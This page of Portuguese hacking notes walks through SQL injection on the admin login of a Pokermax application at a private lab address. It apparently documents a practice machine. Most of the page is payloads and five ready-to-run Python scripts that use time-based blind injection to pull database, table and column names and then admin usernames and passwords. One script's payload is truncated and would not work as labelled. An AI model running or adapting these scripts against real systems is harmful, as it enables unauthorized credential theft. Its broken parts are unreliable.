> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md).

# SQLi Pokermax

## Vulnerabilidade de Injeção SQL

**Detecção de vulnerabilidade de injeção SQL:**

<figure><img src="/files/71a35211af4abe7ee8714a5583bc17900646f75d" alt=""><figcaption></figcaption></figure>

#### Identificação de uma vulnerabilidade de injeção SQL no site interno. Use [Burp Suite](/pt-br/hacking-tools/web/burpsuite.md) para interceptar o tráfego.

<figure><img src="/files/1c2a732aa97e75fb165f7c761813da32bd0835bf" alt=""><figcaption></figcaption></figure>

#### Descoberta do número de colunas com ORDER BY

```sql
admin' order by 7-- -

```

#### Tentativa de listar tabelas com UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -

```

#### Uso de uma injeção SQL baseada em tempo

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -

```

<figure><img src="/files/00c747860de8dbd0c95b0c3b1e986240dd5b3a65" alt=""><figcaption></figcaption></figure>

#### Automação com Python para extrair o nome do banco de dados

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/8e356575d6cf70a2d6e96e43d2f93cc852402e3a" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair Todos os Nomes de Banco de Dados

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/9de0683c9b5a000a1d6c119d2ecb5aed8133e2bb" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair nomes de tabelas:

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/d6d41c8c0b169523e24a89e1943e80ac86ad01a0" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair nomes de colunas:

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/410c373b2fbd30d3915aa309cc1c1921573d2205" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair colunas de nome de usuário e senha:

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/c62e4d8d28a95ca76e62b75f773d730742a382d3" alt=""><figcaption></figcaption></figure>


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